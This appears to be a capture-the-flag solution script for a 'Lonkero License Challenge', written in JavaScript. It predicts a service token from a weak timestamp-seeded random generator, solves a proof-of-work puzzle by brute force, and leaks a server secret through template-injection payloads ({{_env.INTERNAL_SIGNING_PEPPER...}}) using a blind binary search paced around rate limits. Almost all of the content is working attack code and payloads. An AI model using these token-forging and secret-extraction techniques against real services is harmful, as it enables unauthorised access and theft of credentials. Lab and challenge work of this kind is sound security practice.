Lonkero License Challenge

// Service token calculator and exploit helper
const STARTUP_TIMESTAMP = "1739400000000";

function hashToUint32(input) {
  let hash = 0;
  for (let i = 0; i < input.length; i++) {
    const char = input.charCodeAt(i);
    hash = ((hash << 5) - hash) + char;
    hash = hash & hash;
  }
  return hash >>> 0;
}

function createXorshift(seed) {
  let state = seed || 1;
  return function next() {
    state ^= state << 13;
    state ^= state >> 17;
    state ^= state << 5;
    return state >>> 0;
  };
}

function deriveServiceToken(timestamp) {
  const seed = hashToUint32('system:0:' + timestamp);
  const rng = createXorshift(seed);
  let token = 'svc_';
  for (let i = 0; i < 48; i++) {
    token += (rng() % 16).toString(16);
  }
  return token;
}

const token = deriveServiceToken(STARTUP_TIMESTAMP);
console.log('Service Token:', token);

// PoW solver (Node.js)
const crypto = require('crypto');

async function solvePoW(challenge, difficulty) {
  const target = '0'.repeat(difficulty);
  let nonce = 0;

  while (true) {
    const hash = crypto.createHash('sha256')
      .update(challenge + nonce)
      .digest('hex');

    if (hash.startsWith(target)) {
      console.log('Solved! Nonce:', nonce);
      console.log('Hash:', hash);
      return nonce;
    }
    nonce++;

    if (nonce % 100000 === 0) {
      process.stdout.write('\rTried: ' + nonce);
    }
  }
}

// Usage: node pow-solver.js
const challenge = process.argv[2] || 'your-challenge-here';
solvePoW(challenge, 6);

// Binary search character extraction
async function extractChar(position) {
  let low = 33, high = 126; // ASCII printable range

  while (low < high) {
    const mid = Math.floor((low + high) / 2);

    // Test if char > mid
    const payload = `{{_env.INTERNAL_SIGNING_PEPPER.charCodeAt(${position}) > ${mid}}}`;

    const hasContent = await testPayload(payload);

    if (hasContent) {
      low = mid + 1; // Char is higher
    } else {
      high = mid; // Char is lower or equal
    }
  }

  return String.fromCharCode(low);
}

async function testPayload(payload) {
  // 1. Get PoW challenge
  // 2. Solve PoW
  // 3. Send request with payload
  // 4. Check if  has content
  // Return true if content, false if empty
}

// Extract all 25 characters
async function extractAll() {
  const result = [];
  for (let i = 0; i < 25; i++) {
    const char = await extractChar(i);
    result.push(char);
    console.log(`Pos ${i}: ${char}`);

    // Wait 10 minutes for rate limit
    await new Promise(r => setTimeout(r, 600000));
  }
  return result.join('');
}

// Test if char at position N is greater than 'M' (ASCII 77)
{{_env.INTERNAL_SIGNING_PEPPER.charCodeAt(0) > 77}}

// If returns data → true (char > M)
// If returns empty → false (char <= M) OR error

// Binary search ASCII values 33-126
// Average 6-7 requests per character
    

// Extract full string (if no rate limit)
{{_env.INTERNAL_SIGNING_PEPPER}}

// Extract single character
{{_env.INTERNAL_SIGNING_PEPPER.charAt(0)}}

// Test character value
{{_env.INTERNAL_SIGNING_PEPPER.charCodeAt(0)}}

// Conditional test (binary search)
{{_env.INTERNAL_SIGNING_PEPPER.charCodeAt(0) > 75}}